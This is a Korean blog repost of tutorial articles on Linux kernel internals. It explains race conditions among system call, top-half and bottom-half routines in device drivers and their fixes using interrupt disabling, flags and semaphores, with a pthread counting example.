2) 다른 프로세스가 디바이스를 사용하고 있을 경우

▶ 시스템 콜 루틴 내부
ii) 디바이스를 사용하고 있으면
데이터를 데이터 큐에 넣고 나간다

▶ 하드웨어
디바이스가 데이터를 다 보냈다 → hardware interrupt 발생

▶ top half 루틴 내부
bottom half 요청

▶ bottom half 루틴 내부
ii) 데이터 큐가 비어 있지 않으면
데이터를 하나 꺼내서 디바이스 버퍼에 쓰고 나간다

[그림 3]을 통해서 두 번째 흐름을 좀 더 구체적으로 이해해 보자

[그림 3]에서 어떤 프로세스 Pk가 시스템 콜을 통해 커널 영역에서 어떤 디바이스를 사용하고자 할 때 임의의 프로세스 P1이 그 디바이스를 이미 사용하고 있으면 데이터를 데이터 큐에 넣고 나간다. 디바이스는 이전에 프로세스 P1에 의해 쓰기 동작을 수행하기 시작했다. 어느 정도의 시간이 지나면 그 디바이스는 쓰기 동작을 완료하고 hardware interrupt를 발생시킨다.

이 때 hardware interrupt는 임의의 프로세스 Pm을 수행하는 중에 발생한다. hardware interrupt가 발생하면 top half 루틴과 bottom half 루틴을 차례로 수행한다. top half 루틴에서는 특별한 일을 하지 않고 bottom half 루틴이 수행되기를 요청한다. 그러면 bottom half 루틴에서는 데이터 큐가 비어 있는지 보고 비어 있지 않으면 데이터를 하나 꺼내서 디바이스 버퍼에 쓰고 나간다. 그러면 디바이스는 쓰기 동작을 수행하기 시작한다. 어느 정도의 시간이 지나면 그 디바이스는 쓰기 동작을 완료하고 hardware interrupt를 발생시킨다.

여기서 hardware interrupt는 임의의 프로세스 Pn을 수행하는 중에 발생한다. hardware interrupt가 발생하면 top half 루틴과 bottom half 루틴을 차례로 수행한다. top half 루틴에서는 특별한 일을 하지 않고 bottom half 루틴이 수행되기를 요청한다. 그러면 bottom half 루틴에서는 데이터 큐가 비어 있는지 보고 비어 있으면 디바이스를 다 사용했다고 표시하고 나간다.

여기서 데이터 큐 사용구간 ⒜와 데이터 큐 사용구간 ⒝는 논리적으로 순서를 이루어야 한다. 그렇지 않을 경우에는 문제가 발생하며 이에 대해서는 뒤에 좀 더 구체적으로 다루기로 한다.

지금까지 우리는 [디바이스에 쓰기 동작]과 관련한 커널의 두 가지 논리적인 흐름을 보았다. 이러한 논리적인 흐름이 제대로 지켜지지 않을 경우엔 동기화 문제가 발생할 수 있다.

[디바이스에 쓰기 동작]과 동기화 문제

그러면 지금부터 [디바이스에 쓰기 동작]과 관련한 두 가지 논리적인 흐름에서 생길 수 있는 동기화 문제와 이에 대한 해결책을 생각해 보자.

먼저 지난 기사에서도 말했듯이, 동기화란 논리적으로 흐름이 다른 루틴(예를 들어, 시스템 콜 루틴, top half 루틴, bottom half 루틴)간에 순서를 지키는 일이다. 이러한 루틴간에 순서를 지키지 않는 상황을 루틴간 경쟁 상태라고 한다. 즉, 동기화 문제는 루틴간 경쟁 상태에서 발생한다.

[디바이스에 쓰기 동작]과 관련한 논리적인 흐름에서 생길 수 있는 루틴간 경쟁 상태는 두 가지가 있을 수 있다. 먼저 [시스템 콜 루틴 내부의 i) 항목의 ⓐ 부분]간에 경쟁 상태가 있을 수 있다. 다음으로 [시스템 콜 루틴 내부의 ii) 항목]과 [bottom half 루틴 내부의 i) 항목]간에 경쟁 상태가 있을 수 있다. 좀 더 엄밀히 말하면, [시스템 콜 루틴 내부의 i) 항목의 ⓐ 부분]에 [시스템 콜 루틴 내부의 i) 항목의 ⓐ 부분]이 끼어 드는 상황과, [시스템 콜 루틴 내부의 ii) 항목]에 [bottom half 루틴 내부의 i) 항목]이 끼어 드는 상황이 있을 수 있다.

시스템 콜 루틴간의 경쟁 상태

[그림 4]는 [시스템 콜 루틴 내부의 i) 항목의 ⓐ 부분]간에 경쟁 상태를 나타낸다.

[그림 4]에서 프로세스 P1이 시스템 콜을 통해 커널 영역에서 ⓐ의 앞부분([그림 4]의 ① 부분)을 수행하는 도중에

1) A 지점에서 nested interrupt가 발생하고,

2) B 부분을 포함해 한 번 이상의 프로세스 스케쥴링을 거쳐,
어느 시점에 프로세스 Pn을 수행하고, 프로세스 Pn이 시스템 콜을 통해 커널 영역에서

3) C 지점을 거쳐 ⓐ 부분([그림 4]의 ② 부분)을 수행하고,
이후에 한 번 이상의 프로세스 스케쥴링을 거쳐 어느 순간 프로세스 P1이 h 지점으로 나와(이전에 B 부분의 g 지점으로 들어감) ⓐ의 뒷부분([그림 4]의 ③ 부분)을 수행할 경우 두 프로세스가 같이 디바이스를 사용한다고 표시하는, 그래서 두 프로세스가 디바이스 버퍼를 같이 접근하는, 동기화 문제가 발생한다. 즉, [그림 4]에서 ①과 ③은 논리적으로 연속이어야 하는데 이 사이에 ②가 끼어 드는 상황이 발생한다. 즉, [시스템 콜 루틴 내부의 i) 항목의 ⓐ 부분]간에 경쟁 상태가 발생한다.

사용자 삽입 이미지

[그림 4] 시스템 콜 루틴간의 경쟁 상태


그러면 [시스템 콜 루틴 내부의 i) 항목의 ⓐ 부분]간에 경쟁 상태가 발생하는 이유를 알아보자.

[그림 4]를 보면
1) A 지점에서 nested interrupt를 허용함으로써 동기화 문제가 발생할 가능성이 생기고,
2) B 지점에서 프로세스 스케쥴링을 허용함으로써 동기화 문제가 발생할 가능성이 생기고,
3) C 지점에서 문제가 되는 영역을 접근함으로써 동기화 문제가 구체적으로 발생한다.

일반적으로 동기화 문제는 첫째는 임의의 지점에서 hardware interrupt를 허용함으로써, 둘째는 임의의 지점에서 프로세스 스케쥴링을 수행함으로써 발생한다.

시스템 콜 루틴간의 경쟁 상태에 대한 해결책

그러면 이러한 경쟁 상태를 어떻게 막을지 생각해 보자. 앞에서 우리는 루틴간 경쟁 상태가 발생하는 이유 세 가지를 보았다. 이에 대한 해결책은 각각 다음과 같다.

1) A 지점에서 hardware interrupt를 허용하지 않거나,
2) B 지점에서 프로세스 스케쥴링을 허용하지 않거나,
3) C 지점에서 문제가 되는 영역을 접근하지 못하게 하면 된다.

시스템 콜 루틴간의 경쟁 상태에 대한 해결책

그러면 이러한 경쟁 상태를 어떻게 막을지 생각해 보자. 앞에서 우리는 루틴간 경쟁 상태가 발생하는 이유 세 가지를 보았다. 이에 대한 해결책은 각각 다음과 같다.

1) A 지점에서 hardware interrupt를 허용하지 않거나,
2) B 지점에서 프로세스 스케쥴링을 허용하지 않거나,
3) C 지점에서 문제가 되는 영역을 접근하지 못하게 하면 된다.

좀 더 구체적으로 해결책을 알아보자.

1) 일반적으로 CPU마다 hardware interrupt를 허용하지 않게 하거나 허용하게 하는 명령어를 가지며 이를 이용하여 루틴내의 적당한 구간에서 hardware interrupt를 허용하지 않을 수 있다. 우리는 이 두 명령어를 각각 cli, sti라고 하자. 이 두 명령어를 이용하여 [시스템 콜 루틴 내부의 i) 항목의 ⓐ 부분]을 다음과 같이 처리할 수 있다.


cli
디바이스를 사용하고 있지 않으면
디바이스를 사용한다고 표시하고
sti


여기서 한 가지 주의할 점은 일반적으로 디바이스 버퍼를 접근할 때는 시간상 연속으로 접근할 때 디바이스에 대한 활용도가 높다. 따라서 위의 루틴은 다음과 같이 처리하기로 한다.


cli
디바이스를 사용하고 있지 않으면
디바이스를 사용한다고 표시하고
데이터를 디바이스 버퍼에 쓰고 나간다
sti


2) 일반적으로 프로세스 스케쥴링을 허용하지 않는 것을 schedule lock 또는 preemption lock이라 한다. 리눅스 커널 2.5 버전 이후부터는 preempt_disable(), preempt_enable()이라는 함수를 이용하여 프로세스 스케쥴링을 허용하지 않을 수 있다. preemption lock은 다음에 볼 flag나 lock에 해당하는 변수를 이용하여 논리적으로 독립적인 루틴간에 경쟁 상태를 해결하는 방법이다. 따라서 여기서는 이 방법에 대해 더 이상 구체적으로 다루지 않는다.

3) 논리적으로 flag나 lock에 해당하는 변수를 두어 문제가 되는 영역을 동시에 접근하지 못하게 한다. 예를 들어 문제가 되는 영역에 들어가고자 할 땐 flag를 내리고 들어가고 나올 땐 flag를 올리고 나오는 개념이다. 좀 더 구체적으로 보자. 문제가 되는 영역에 들어가고자 할 땐 다음과 같은 루틴을 수행한다.





즉, 문제가 되는 영역에 들어가고자 할 땐 flag가 올려져 있는지 보고 올려져 있으면 flag를 내리고 들어가고 그렇지 않으면 flag가 올려질 때까지 기다린다.

문제가 되는 영역에서 나올 땐 다음과 같은 루틴을 수행한다.





즉, 문제가 되는 영역에서 나올 땐 flag를 올리고 나온다.

이 두 루틴을 이용하여 [시스템 콜 루틴 내부의 i) 항목의 ⓐ 부분]을 다음과 같이 처리할 수 있다.

사용자 삽입 이미지


그런데 이 루틴의 ⓐ 부분과 ⓑ 부분은 논리적으로 구조가 같다. 따라서 ⓑ 부분에서 발생할 수 있는 동기화 문제가 ⓐ 부분에서도 발생한다. 따라서 이 루틴을 그대로 사용할 경우 문제가 있으며, ⓒ 부분을 다음과 같이 바꾼다.





ⓓ 부분도 다음과 같이 바꾼다.





이 두 루틴을 이용하여 [시스템 콜 루틴 내부의 i) 항목의 ⓐ 부분]을 다음과 같이 처리할 수 있다.

사용자 삽입 이미지



그런데 앞에서도 보았던 것처럼 이 루틴의 ⓐ 부분과 ⓑ 부분은 논리적인 구조가 같다. 따라서 굳이 이와 같은 방법을 사용하지 않고 1)과 같은 방법을 사용하면 된다.

참고로 flag와 같은 속성을 갖는 변수를 세마포어 변수라고 한다. 또 뮤텍스 변수도 이와 같은 속성을 갖는다.

이상에서 [시스템 콜 루틴 내부의 i) 항목의 ⓐ 부분]은 1)과 같이 처리하기로 한다.

시스템 콜 루틴과 bottom half 루틴간의 경쟁 상태

다음은 [시스템 콜 루틴 내부의 ii) 항목]과 [bottom half 루틴 내부의 ii) 항목]간에 경쟁 상태와 이에 대한 해결책을 알아보자.

[그림 5]와 [그림 6]은 [시스템 콜 루틴 내부의 ii) 항목]과 [bottom half 루틴 내부의 i) 항목]간에 경쟁 상태를 나타낸다.

사용자 삽입 이미지

[그림 5] 시스템 콜 루틴과 bottom half 루틴간의 경쟁 상태 1


먼저 [그림 5]에서 프로세스 Pn이 시스템 콜을 통해 커널 영역에서 [시스템 콜 루틴 내부의 ii) 항목]의 앞부분([그림 5]의 ① 부분)을 수행하는 도중에

1) A 지점에서 nested interrupt가 발생하고, B 지점에서 bottom half가 수행되기를 요청하면,

2) C 지점을 거쳐 [bottom half 루틴 내부의 i) 항목]([그림 5]의 ② 부분)을 수행하고 (논리적으로는 [bottom half 루틴 내부의 ii) 항목]을 수행해야 함)

A 지점으로 다시 나와 [시스템 콜 루틴 내부의 ii) 항목]의 뒷부분([그림 5]의 ③ 부분)을 수행한다.

사용자 삽입 이미지

[그림 6] 시스템 콜 루틴과 bottom half 루틴간의 경쟁 상태 2

다음은 [그림 6]에서 프로세스 Pk가 시스템 콜을 통해 커널 영역에서 [시스템 콜 루틴 내부의 ii) 항목]의 앞부분([그림 6]의 ① 부분)을 수행하는 도중에

1) A 지점에서 nested interrupt가 발생하고,
B 부분을 포함해 한 번 이상의 프로세스 스케쥴링을 거쳐, 어느 시점에 프로세스 Pn을 수행하고, 프로세스 Pn의 C 지점에서 hardware interrupt가 발생하여 top half 루틴과 bottom half 루틴을 차례로 수행한다. bottom half 루틴에서는,

2) D 지점을 거쳐 [bottom half 루틴 내부의 i) 항목]을([그림 6]의 ② 부분을) 수행하고 (논리적으로는 [bottom half 루틴 내부의 ii) 항목]을 수행해야 함)
이후에 한 번 이상의 프로세스 스케쥴링을 거쳐 어느 순간 프로세스 Pk가 h 지점으로 나와 (이전에 B 부분의 g 지점으로 들어감) [시스템 콜 루틴 내부의 i) 항목]의 뒷부분([그림 6]의 ③ 부분)을 수행한다.

[그림 5]와 [그림 6]과 같은 경우 디바이스는 사용하지 않으면서 데이터는 데이터 큐에 남아 있는 상황이 발생하며, 일반적으로 이런 상황을 starvation이라 한다. 이와 같은 상황은 데이터 큐 사용구간에서 hardware interrupt에 의한 시스템 콜 루틴과 bottom half 루틴간 경쟁 상태가 발생하여 나타난다. [그림 5]와 [그림 6]에서는 [데이터 큐 사용구간 ⒜]와 [데이터 큐 사용구간 ⒝]간에 경쟁 상태가 발생하였다. 이와 같은 경쟁 상태는 [그림 3]의
[데이터 큐 사용구간 ⒜], [데이터 큐 사용구간 ⒝]와 같은 순서가 되도록 해결해야 한다. 즉, 데이터 큐 사용구간이 겹치지 않도록 한다.

그러면 [시스템 콜 루틴 내부의 ii) 항목]과 [bottom half 루틴 내부의 i) 항목]간에 경쟁 상태가 발생하는 이유를 알아보자.

[그림 5]와 [그림 6]을 보면

1) A 지점에서 nested interrupt를 허용함으로써 동기화 문제가 발생할 가능성이 생기고,
2) 각각 C 지점과 D 지점에서 문제가 되는 영역을 접근함으로써 동기화 문제가 구체적으로 발생한다.

시스템 콜 루틴과 bottom half 루틴간의 경쟁 상태에 대한 해결책

이에 대한 해결책은 이미 앞에서 본 것처럼 각각 다음과 같다.

1) A 지점에서 hardware interrupt를 허용하지 않거나,
2) 각각 C 지점과 D 지점에서 문제가 되는 영역을 접근하지 못하게 하면 된다.

좀 더 구체적인 해결책은 다음과 같다.

1) [시스템 콜 루틴 내부의 ii) 항목]을 다음과 같이 처리하면 된다.


cli
디바이스를 사용하고 있으면
데이터를 데이터 큐에 넣고 나간다
sti


2) 먼저 [시스템 콜 루틴 내부의 ii) 항목]과 [bottom half 루틴 내부의 i), ii) 항목]을 각각 다음과 같이 처리해 본다.







그러나 이렇게 처리할 경우 각각 C 지점과 D 지점에서 데드락이 발생한다. 따라서 C 지점과 D 지점에 다음과 같은 루틴을 사용한다.





그러나 이렇게 처리할 경우 [bottom half 루틴 내부의 ii) 항목]을 [시스템 콜 루틴 내부의 ii) 항목]이후에 수행할 수 있도록 적절한 루틴을 추가해 주어야 하는데 이럴 경우 루틴이 많이 복잡해진다.

[시스템 콜 루틴 내부의 ii) 항목]의 경우 루틴을 수행하는 시간을 예측할 수 있으며, 또한 그 시간이 충분히 짧기 때문에 일반적으로 리눅스 커널에서는 1)과 같은 방법을 사용하여 동기화 문제를 처리한다.

이상에서 [디바이스에 쓰기 동작]에 대하여 Uni-Processor 상에서 발생할 수 있는 동기화 문제와 그에 대한 해결책을 알아보았다. 다음 기사에는 일단 [디바이스에 쓰기 동작]에 대한 구체적인 예를 들여다보기로 하자.
"Kernel" 카테고리의 다른 글
  • SHELL, KERNEL, 응용과의 관계 (0)2007/05/14
  • 리눅스 커널의 이해(5): 디바이스에 쓰기 동작에... (0)2007/05/10
  • 리눅스 커널의 이해(4): Uni-Processor & Multi-Pr... (0)2007/05/10
  • 리눅스 커널의 이해(3): 리눅스 디바이스 작성시... (0)2007/05/10
  • 리눅스 커널의 이해(2): 리눅스 커널의 동작 (0)2007/05/10
2007/05/10 10:26 2007/05/10 10:26
Posted by webdizen
Tags Multi-Processor, Uni-Processor, 리눅스 커널
No Trackback No Comment

Trackback URL : http://www.webdizen.net/blog/trackback/2917

Leave your greetings.

[로그인][오픈아이디란?]

Unix & Linux/Kernel2007/05/10 10:18

리눅스 커널의 이해(3): 리눅스 디바이스 작성시 동기화 문제

저자: 서민우
출처: Embedded World

[ 관련 기사 ]
♠ 리눅스 커널의 이해(1) : 커널의 일반적인 역할과 동작
♠ 리눅스 커널의 이해(2): 리눅스 커널의 동작

일반적으로 리눅스 디바이스 드라이버를 작성할 땐 여러 가지 동기화 문제를 고려해야 한다. 리눅스 디바이스 드라이버를 작성할 때 동기화 문제를 제대로 해결하지 않는다면 커널이 멈추는 등의 심각한 문제가 발생한다.

리눅스 디바이스 드라이버 내에서 동기화 문제가 발생하는 이유는 두 가지이다. 먼저 우리가 작성하는 디바이스 드라이버는 리눅스 커널의 주요한 여러 흐름(시스템 콜 영역, top half 영역, bottom half 영역) 속에서 동작한다. 다음은 nested interrupt나 process scheduling에 의해 리눅스 커널 내에서는 커널 영역간에 여러 가지 경쟁 상태가 발생할 수 있다.

따라서 우리는 리눅스 디바이스 드라이버를 작성할 때 발생할 수 있는 여러 가지 동기화 문제와 이에 대한 일반적인 해결책을 알아야 한다.

이번 기사에서는 이러한 동기화 문제와 이에 대한 해결책을 구체적으로 알아보기 전에 1) 동기화 문제란 무엇인지, 2) 디바이스 드라이버의 주요한 동작과 리눅스 커널의 흐름에서의 디바이스 드라이버의 위치, 3) nested interrupt와 process scheduling에 의한 리눅스 커널의 흐름을 구체적으로 알아보기로 한다.


동기화 문제

먼저 동기화 문제가 무엇인지 보기로 하자.

신호등이 있는 횡단보도를 생각해 보자. 보행자는 신호등에 빨간불이 들어와 있는 동안에는 횡단보도 한쪽 끝에 서 있다가 신호등에 녹색 불이 들어오면 횡단보도를 건넌다. 보행자가 횡단보도를 건너는 동안에 횡단보도를 지나려고 하는 차량은 일시 정지해 있어야 한다. 만약 보행자가 신호등의 녹색 불을 보고 횡단보도를 건너는 동안에 차량이 일시 정지해 있지 않고 횡단보도를 지나려고 할 경우 교통사고 등의 문제가 발생한다. 이러한 문제는 어느 순간에 횡단보도를 보행자와 차량이 동시에 이용하려고 하는 데서 발생한다. 즉, 보행자와 차량이 신호등에 맞추어 횡단보도를 순서대로 이용한다면 이러한 문제는 발생하지 않는다.

이처럼 동기화의 문제란 어떤 일의 순서를 지키지 않는 데서 발생하는 문제이다. 따라서 동기화란 어떤 일의 순서를 맞추는 일이다. 일반적으로 동기화의 문제는 공유영역(예를 들어, 횡단보도)을 중심으로 발생한다. 이러한 공유영역은 flag(예를 들어, 신호등)에 맞추어 순서대로 이용하여야 한다.

공유영역과 관련한 동기화의 문제는 쓰레드를 이용한 응용 프로그램, multi-tasking을 수행하는 커널 내부, 신호등을 제어하는 논리회로 등 여러 군데서 발생할 수 있다.

다음 예제를 통해 공유영역과 관련한 동기화의 문제가 어떻게 발생하는지 구체적으로 들여다 보자.

사용자 삽입 이미지



이 예제는 리눅스 쓰레드 프로그램이다. ①에서 pthread_create() 함수를 이용해 10개의 쓰레드를 생성하며, 각각의 쓰레드는 adder() 함수를 수행한다. adder() 함수에서 각각의 쓰레드는 global_counting 변수 값이 0x10000000보다 크거나 같을 때까지 변수 값을 증가시킨다. 여기서 global_counting 변수는 쓰레드 간에 공유하는 공유 변수이다. 즉, 공유 영역이다. adder() 함수 내에 있는 local_counting 변수는 각각의 쓰레드가 global_counting 변수 값을 얼마나 증가시켰는지를 보기 위한 변수이다. local_counting 변수 값은 adder() 함수에서 리턴 값으로 사용한다. 이 리턴 값을 main() 함수의 ②에서 pthread_join() 함수를 통해 전달 받은 후 main() 함수 내에 있는 sum_local_counting 변수에 더해준다. 여기서 pthread_join() 함수는 쓰레드가 종료되기를 기다리는 함수이다. main() 함수의 마지막 부분에서는 global_counting 변수 값과 sum_local_counting 변수 값을 출력해 준다.

참고로 pthread_create() 함수의 첫번째 인자는 변수의 주소 값이 넘어가지만, pthread_join() 함수의 첫번째 인자는 변수의 값이 넘어간다.

이 예제를 다음과 같이 컴파일 한다. 참고로 리눅스 상에서 쓰레드 프로그램을 컴파일 할 때는 posix thread 라이브러리를 써야 하며 따라서 컴파일 옵션에 –lpthread 가 들어가야 한다. 컴파일이 끝났으면 실행시켜 본다.


$ gcc race-condition.c -o race-condition -lpthread
$ ./race-condition
…
global counting: 0x10000000
sum of local counting: 0x5d9c9858
$ ./race-condition
…
global counting: 0x10000000
sum of local counting: 0x662979dc


두 번의 실행 결과 global_counting 변수 값은 각각 0x10000000이 나왔으나, sum_local_counting 변수 값은 각각 0x5d9c9858, 0x662979dc이 나왔다. 이 값은 몇 차례 반복해서 수행해도 같은 값이 거의 나오지 않는다. 이 두 변수의 값이 왜 다른지 [그림 1]을 보며 생각해 보자.

사용자 삽입 이미지

[그림 1] 공유영역에서의 쓰레드간 race condition


[그림 1]에서 timer interrupt에 의해 수행하는 부분은 hardware interrupt에 의해 시작하는 리눅스 커널의 일반적인 동작으로 <리눅스 커널의 이해 ②> 기사의 [그림 9]을 참조하기 바란다.

먼저 [그림 1]에서 다음과 같이 가정하자.

i) 굵은 선 부분은 adder() 함수의 ③ 부분을 나타낸다.
ii) T1과 T2는 ①에서 생성한 쓰레드 중 임의의 두 쓰레드이다.
iii) 쓰레드 T1의 A 지점은 adder() 함수의 A 지점이다.
iv) 쓰레드 T1이 A 지점을 수행할 때 tmp_counting 값은 0x10000이다.
v) 쓰레드 T1은 A 지점에서 할당 받은 time slice를 다 썼다.
vi) C 지점에서 스케쥴링시 쓰레드 T2가 선택된다.
vii) 쓰레드 T2는 E 지점에서 할당 받은 time slice를 다 썼다.
viii) 쓰레드 T2의 E 지점에서 F 지점까지 여러 번의 timer interrupt가 들어왔다.
ix) 쓰레드 T2는 F 지점에서 새로이 할당 받은 time slice를 다 썼다.
x) H 지점에서 스케쥴링시 쓰레드 T1이 다시 선택된다.

위 가정에서 viii)의 경우 쓰레드 T2의 E 지점에서 F 지점까지 timer interrupt가 여러 번 들어 오더라도 할당 받은 time slice가 남아 있으므로 중간에 스케쥴링을 수행하지 않으며, 따라서 또 다른 쓰레드를 수행하지는 않는다.

쓰레드 T1이 A 지점을 지나는 순간 global_counting 값은 가정 iv)에 의해 0x10000이다. A 지점에서 timer interrupt가 발생할 경우 가정 v)에 의해 B 부분에서 스케쥴링을 요청하고 C 부분에서 스케쥴링을 수행한다. 스케쥴링 결과 가정 vi)에 의해 쓰레드 T2가 선택되며, 따라서 C 부분에서 시작한 스케쥴링은 D 부분에서 끝난다. 즉, c 지점으로 들어가서 d 지점으로 나온다. 그러면 쓰레드 T2는 D 부분을 거쳐 E 지점으로 나와 첫 번째 을 수행한다. 이 때 쓰레드 T2의 tmp_counting 값도 0x10000이 된다. 이 후에 F 지점에 도착할 때까지 여러 번 을 수행한다. 편의상 여기서는 0x10000 번 수행한다고 가정한다. 그러면 F 지점 바로 전에 마지막으로 수행한 에서 global_counting 값은 0x20000이 된다. F 지점에서 timer interrupt가 발생할 경우 가정 ix)에 의해 G 부분에서 스케쥴링을 요청하고 H 부분에서 스케쥴링을 수행한다. 스케쥴링 결과 가정 x)에 의해 쓰레드 T1이 다시 선택된다. 따라서 H 부분에서 시작한 스케쥴링은 I 부분에서 끝난다. 그러면 쓰레드 T1은 I 부분을 거쳐 J 부분으로 나와 A 지점에서 잘린 의 나머지 부분을 수행한다. 그 결과 global_counting 값은 0x10001이 되며, 따라서 쓰레드 T2가 수행한 0x10000 번의 동작은 잃어버리게 된다.

각각의 쓰레드가 을 순서대로 접근을 했다면 이런 결과는 없었을 것이다. 즉, global_counting 값을 읽고 0x10000000보다 작을 경우 하나를 증가시키고 global_counting 값을 갱신하는 부분이 쓰레드 간에 겹치지 않았다면 중간값을 잃어버리는 일은 없었을 것이다.

일반적으로 각각의 흐름을 갖는 하나 이상의 루틴이 공유영역을 접근했을 때 동기화 문제가 발생한다. 동기화 문제는 공유영역을 순서대로 접근하면 해결된다.

이 예제에서도 하나 이상의 쓰레드가 공유영역을 접근함으로써 동기화 문제가 발생한다. 이 예제에서는 쓰레드 간에 ③ 부분과 ③ 부분, ③ 부분과 ④ 부분, ④ 부분과 ④ 부분이 겹치지 않고 순서대로 수행이 되어야 동기화 문제가 발생하지 않는다.

이 예제에서 발생한 동기화의 문제는 다음과 같이 세마포어를 이용해 문제를 해결할 수 있다. 세마포어에 대한 구체적인 설명과 사용법은 나중에 다루기로 한다. 여기서는 겹치면 안되는 부분의 처음과 마지막 부분을 세마포어로 보호해주면 된다 하는 정도로 알고 넘어가기로 한다. 다음 예제에서 음영이 들어간 부분이 추가된 부분이다. main() 함수내의 sem_init() 함수는 for 문 바로 앞에 추가한다.

사용자 삽입 이미지


여러 차례 실행하더라도 global_counting 변수 값과 sum_local_counting 변수 값이 똑같이 0x10000000이 나온다. 주의할 점은 수행시간이 많이 길어진다.

이상에서 우리는 쓰레드 프로그램에서의 동기화 문제와 그에 대한 해결책을 보았다. 이러한 동기화의 문제는 리눅스 커널에서도 발생할 수 있다. 우리가 작성하는 디바이스 드라이버는 리눅스 커널의 주요한 여러 흐름(시스템 콜 영역, top half 영역, bottom half 영역)의 부분으로 동작하며 따라서 디바이스 드라이버 내에서도 여러 가지 동기화 문제가 발생할 수 있다.


디바이스 드라이버의 주요한 동작과 리눅스 커널의 흐름에서의 디바이스 드라이버의 위치

다음은 디바이스 드라이버의 주요한 동작과 이러한 동작들이 커널의 어떤 흐름에서 이루어지는지 알아보자.

디바이스 드라이버의 주요한 동작은 크게 세가지로 나눌 수 있다.

첫번째는 [디바이스에 쓰기 동작]이다. [디바이스에 쓰기 동작]의 경우 시스템 콜을 통해서 디바이스에 쓰고자 하는 데이터를 쓴다. 이 동작을 통하여 하드 디스크나 네트워크 카드등에 데이터를 쓴다. [디바이스에 쓰기 동작]과 관련한 커널의 흐름은 다음과 같다.

* 시스템 콜 루틴 내부:
디바이스가 멈추어 있을 경우 데이터를 디바이스 버퍼에 쓰고 나간다
디바이스가 동작중일 경우 데이터를 데이터 큐에 넣고 나간다

* 하드웨어:
디바이스가 데이터를 다 보냈다 -> hardware interrupt 발생

* top half 루틴 내부:
bottom half 요청

* bottom half 루틴 내부:
데이터 큐가 비어 있으면 그냥 나간다
데이터 큐가 비어 있지 않으면 데이터를 하나 꺼내서 디바이스 버퍼에 쓰고 나간다

두 번째는 <동기적으로 디바이스로부터 읽기 동작>이다. <동기적으로 디바이스로부터 읽기 동작>은 시스템 콜을 통해서 디바이스에 읽기를 요청한다. 디바이스에 읽기를 요청하면 어느 정도 시간이 흐른 후에 디바이스 내부 버퍼에 데이터가 도착하며 디바이스는 하드웨어 인터럽트를 이용하여 CPU에게 데이터의 도착을 알린다. 그러면 CPU는 인터럽트 핸들러를 통하여 이 데이터를 읽어간다. 하드 디스크나 CDROM으로부터 데이터를 읽어가는 동작이 이에 해당한다. <동기적으로 디바이스로부터 읽기 동작>과 관련한 커널의 흐름은 다음과 같다.

* 시스템 콜 루틴 내부:
디바이스가 멈추어 있을 경우 디바이스에 데이터 읽기를 요청하고 디바이스로부터 데이터 큐에 데이터가 도착하기를 기다린다
디바이스가 동작중일 경우 디바이스의 사용이 끝나기를 기다린다 (임의의 다른 프로세스가 디바이스를 사용 중이므로)

데이터 큐에서 데이터를 꺼낸다
디바이스의 사용이 끝났음을 알린다

* 하드웨어:
디바이스에 데이터가 도착했다 -> hardware interrupt 발생

* top half 루틴 내부:
메모리 버퍼를 하나 할당해 디바이스 버퍼로부터 데이터를 읽어 들인 후 메모리 버퍼를 데이터 큐에 넣는다
bottom half 요청

* bottom half 루틴 내부:
디바이스로부터 데이터 큐에 데이터가 도착했음을 알린다

세 번째는 <비동기적으로 디바이스로부터 읽기 동작>이다. <비동기적으로 디바이스로부터 읽기 동작>은 시스템 콜을 통해서 디바이스로부터 도착한 데이터를 읽고자 한다. 이 경우 데이터는 비동기적으로 디바이스에 도착하며, 인터럽트를 통해 데이터의 도착을 CPU에게 알린다. 그러면 CPU는 인터럽트 핸들러를 통하여 이 데이터를 읽어간다. 네트워크 카드나 시리얼 디바이스에 도착한 데이터를 읽어가는 동작이 이에 해당한다. <비동기적으로 디바이스로부터 읽기 동작>과 관련한 커널의 흐름은 다음과 같다.

* 시스템 콜 루틴 내부:
데이터 큐에 데이터가 있으면 데이터를 가져간다
데이터 큐에 데이터가 없으면 디바이스로부터 데이터 큐에 데이터가 도착하기를 기다린다

* 하드웨어:
디바이스에 데이터가 도착했다 -> hardware interrupt 발생

* top half 루틴 내부:
메모리 버퍼를 하나 할당해 디바이스 버퍼로부터 데이터를 읽어 들인 후 메모리 버퍼를 데이터 큐에 넣는다
bottom half 요청

* bottom half 루틴 내부:
디바이스로부터 데이터 큐에 데이터가 도착했음을 알린다

이상 디바이스 드라이버의 주요한 동작과 리눅스 커널의 흐름에서의 디바이스 드라이버의 위치를 살펴 보았다. 지금까지 살펴본 디바이스 드라이버에 동기화 문제가 어떻게 발생할지 또 어떻게 해결해야 할 지에 대해서는 다음 기사에 자세히 다루기로 한다.


nested interrupt와 process scheduling에 의한 리눅스 커널의 흐름

사용자 삽입 이미지

[그림 2] 리눅스 커널의 기본적인 동작


[그림 2]는 각각 system call에 의한 리눅스 커널의 동작, hardware interrupt에 의한 리눅스 커널의 동작, nested interrupt에 의한 리눅스 커널의 동작을 나타낸다. 각 동작에 대한 구체적인 내용은 본지 8 월 호 <리눅스 커널의 이해 ②> 기사의 [그림 8], [그림 9], [그림 17]을 참조하기 바란다. 참고로 리눅스 커널 버전은 2.5 이후 버전이다.

[그림 3]은 리눅스 커널 내에서 프로세스 스케쥴링이 있을 수 있는 지점을 나타낸다.

먼저 프로세스 스케쥴링이 어떤 경우에 있을 수 있는지 보기로 하자.

⒜는 hardware interrupt가 발생했을 때 프로세스 스케쥴링을 수행하는 경우이다. 프로세스 스케쥴링을 기준으로 보았을 때 hardware interrupt는 크게 두 가지로 나눌 수 있는데, 첫 번째는 timer device로부터 온 경우이고, 두 번째는 timer device를 제외한 나머지 device(예를 들어 하드 디스크나 이더넷 카드)로부터 온 경우이다.

timer device로부터 interrupt가 들어왔을 때 프로세스 스케쥴링을 수행하는 경우는 두 가지로 나눌 수 있다. 먼저 timer interrupt의 interrupt handler(top half)에서 현재 프로세스의 time slice 값을 하나 감소시키고 그 결과값이 0일 때 스케쥴링을 요청한다. 다음은 timer interrupt의 bottom half에서는 여러 가지 시간과 관련한 일들을 처리하며, 이러한 일들 중에는 시간과 관련한 조건을 기다리던 프로세스를 wait queue에서 꺼내 run queue로 넣는 일도 있다. 이런 경우 wait queue에서 run queue로 들어간 프로세스가 현재 프로세스보다 우선순위가 클 경우 스케쥴링을 요청한다.

